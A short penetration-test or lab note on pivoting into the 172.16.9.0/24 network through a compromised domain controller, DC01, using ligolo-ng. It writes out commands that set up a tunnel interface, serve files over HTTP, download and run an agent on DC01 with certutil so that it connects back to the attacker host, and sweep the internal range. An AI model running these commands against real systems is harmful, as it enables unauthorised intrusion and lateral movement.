- steps on Kali ```bash sudo ip tuntap add user $(whoami) mode tun ligolo2 && sudo ip link set ligolo2 up sudo ip route add 172.16.9.0/24 dev ligolo2; ip route | grep ligolo2 cd www/ && python3 -m http.server 9001 ``` - move `agent.exe` to DC01 and run ```powershell certutil.exe -urlcache -split -f http://172.16.8.120:9001/agent.exe c:\users\administrator\desktop\agent.exe .\agent.exe -connect 172.16.8.120:11601 -ignore-cert ``` - steps in ligolo ```bash ligolo > listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 #bridge tunnels ligolo > session #select session 2 ligolo > start --tun ligolo2 ``` - perform an `fping` sweep of 172.16.9.0/24 - crazy amount of hosts ![[images/Pasted image 20260703204504.png]] - let's go ahead internally on DC01